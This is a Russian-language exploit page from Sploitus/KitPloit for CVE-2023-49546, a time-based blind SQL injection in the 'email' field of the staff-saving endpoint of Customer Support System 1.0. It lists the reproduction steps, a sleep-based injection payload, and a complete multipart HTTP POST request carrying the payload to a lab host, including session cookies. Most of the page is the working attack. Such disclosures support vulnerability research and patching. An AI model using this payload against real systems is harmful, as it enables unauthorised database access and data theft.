Sploitus

Exploit for CVE-2023-49546

kitploit · 2026-08-25

Exploit Code

MARKDOWN81 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-GERALDOALCANTARA-CVE-2023-49546
# CVE-2023-49546

# Customer Support System 1.0 - Уязвимость SQL-инъекции в параметре "email" при операции "save_staff"

**Описание** : В версии 1 Customer Support System существует уязвимость SQL-инъекции. Злоумышленник может выполнять SQL-команды в базе данных MySQL при создании/редактировании сотрудника через уязвимый параметр 'email'.

**Версия уязвимого продукта** : Customer Support System 1.0  
**Автор CVE** : Geraldo Alcântara  
**Дата** : 28/11/2023  
**Подтверждено** : 19/12/2023  
**CVE** : CVE-2023-49546  
**Протестировано на** : Windows

### Шаги воспроизведения:

1- Войдите в приложение.  
2- Перейдите на страницу /customer_support/index.php?page=new_staff, чтобы добавить сотрудника, или на /customer_support/index.php?page=staff_list, чтобы отредактировать сотрудника.  
3- Создайте или отредактируйте сотрудника и вставьте вредоносную нагрузку в параметр "email".  
**Полезная нагрузка** : '+(select*from(select(sleep(2)))a)+'

### Запрос:

root@kitploit:~
    
    
    POST /customer_support/ajax.php?action=save_staff HTTP/1.1
    Host: 192.168.68.148
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
    Accept: */*
    Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate, br
    X-Requested-With: XMLHttpRequest
    Content-Type: multipart/form-data; boundary=---------------------------323911847618056921711360698406
    Content-Length: 1327
    Origin: http://192.168.68.148
    Connection: close
    Referer: http://192.168.68.148/customer_support/index.php?page=new_staff
    Cookie: csrftoken=1hWW6JE5vLFhJv2y8LwgL3WNPbPJ3J2WAX9F2U0Fd5H5t6DSztkJWD4nWFrbF8ko; sessionid=xrn1sshbol1vipddxsijmgkdp2q4qdgq; PHPSESSID=mfd30tu0h0s43s7kdjb74fcu0l
    
    -----------------------------323911847618056921711360698406
    Content-Disposition: form-data; name="id"
    
    
    -----------------------------323911847618056921711360698406
    Content-Disposition: form-data; name="firstname"
    
    Teste2
    -----------------------------323911847618056921711360698406
    Content-Disposition: form-data; name="middlename"
    
    Teste2
    -----------------------------323911847618056921711360698406
    Content-Disposition: form-data; name="lastname"
    
    Teste2
    -----------------------------323911847618056921711360698406
    Content-Disposition: form-data; name="contact"
    
    Teste2
    -----------------------------323911847618056921711360698406
    Content-Disposition: form-data; name="address"
    
    Teste2
    -----------------------------323911847618056921711360698406
    Content-Disposition: form-data; name="department_id"
    
    1
    -----------------------------323911847618056921711360698406
    Content-Disposition: form-data; name="email"
    
    some-email@example.com'+(select*from(select(sleep(5)))a)+'
    -----------------------------323911847618056921711360698406
    Content-Disposition: form-data; name="password"
    
    teste
    -----------------------------323911847618056921711360698406
    Content-Disposition: form-data; name="cpass"
    
    teste
    -----------------------------323911847618056921711360698406--